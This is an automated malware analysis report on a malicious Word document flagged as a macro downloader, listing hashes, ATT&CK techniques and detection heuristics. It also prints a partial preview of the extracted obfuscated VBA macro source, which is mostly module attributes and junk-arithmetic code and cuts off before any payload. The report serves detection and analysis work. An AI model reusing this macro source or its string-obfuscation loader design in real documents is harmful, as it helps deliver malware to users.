Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ba4e42326a7367bf…

MALICIOUS

Office (OLE)

269.6 KB Created: 2019-09-19 06:46:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: 34855a33d70b0c0b0ecff4cf79c7a538 SHA-1: 772e89eef9218b4c5ac6ae9d0125784a35ea4fb2 SHA-256: ba4e42326a7367bf670328ed636beb1ccf1cf508755975f11f941994a955405e
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is a malicious Office document containing an obfuscated auto-executing VBA macro. The macro utilizes CreateObject and execution sink functions, indicating it is likely a downloader for a second-stage payload. The presence of legacy WordBasic auto-exec markers and the ClamAV detection further support its malicious nature.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-7170962-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7170962-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18199 bytes
SHA-256: 934f92ce346f4053381e7f79752d6c4b7d4d30c09308225c9ed7d2cdf690a536
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CQw5Pf, 0, 0, MSForms, TextBox"
Attribute VB_Control = "AhLFtQCr, 1, 1, MSForms, TextBox"
Attribute VB_Control = "TAYWhab, 2, 2, MSForms, TextBox"
Attribute VB_Control = "cj3jXjj1, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Tsb_QhkX, 4, 4, MSForms, TextBox"
Attribute VB_Control = "hqRhDN, 5, 5, MSForms, TextBox"
Attribute VB_Control = "acAw0kJl, 6, 6, MSForms, TextBox"
Attribute VB_Control = "CUC3IQD, 7, 7, MSForms, TextBox"
Attribute VB_Control = "zwVFM2, 8, 8, MSForms, TextBox"
Attribute VB_Control = "jXqFH8Z, 9, 9, MSForms, TextBox"
Attribute VB_Control = "zsG6lI4B, 10, 10, MSForms, TextBox"
Attribute VB_Control = "KJDZ_t9T, 11, 11, MSForms, TextBox"
Attribute VB_Control = "lziMFY, 12, 12, MSForms, TextBox"
Attribute VB_Control = "Qq8SGMo, 13, 13, MSForms, TextBox"
Attribute VB_Control = "kzBY2I6, 14, 14, MSForms, TextBox"
Attribute VB_Control = "wTL_Dqf, 15, 15, MSForms, TextBox"
Attribute VB_Control = "RWKIjJ, 16, 16, MSForms, TextBox"
Attribute VB_Control = "qRSdUm, 17, 17, MSForms, TextBox"
Attribute VB_Control = "wPdYaKdw, 18, 18, MSForms, TextBox"
Attribute VB_Control = "R9tEXrc, 19, 19, MSForms, TextBox"

Attribute VB_Name = "nsOwn47"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "sHAjpoI"

Attribute VB_Name = "tE8rq7"

Attribute VB_Name = "KFOvzB"

Attribute VB_Name = "H6_9fv"

Attribute VB_Name = "aVSnoidL"

Attribute VB_Name = "QfEfLNMw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "B3NDHjjh"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "i2BPMZ"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "w83d5Hpp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "NQq8DfEN"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "LEfULS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "bS7IWEi6"
Function D0jkct()
      On Error Resume Next
   For Each vX6ODV In VjpQOwQE
      For Each PQwKz8F8 In OjY6O1C
         YWQKmW = sFv8wL - DWvl9IH - (X6KvCYv - Int(niCGLwZ5))
         Next
      Do
         tiiVZkKd = QVOijKc - rr_vAa - (wL9LD6 - CDbl(F9jvK47d))
   Loop Until VPikAVM Eqv I4zi66Q
   N
... (truncated)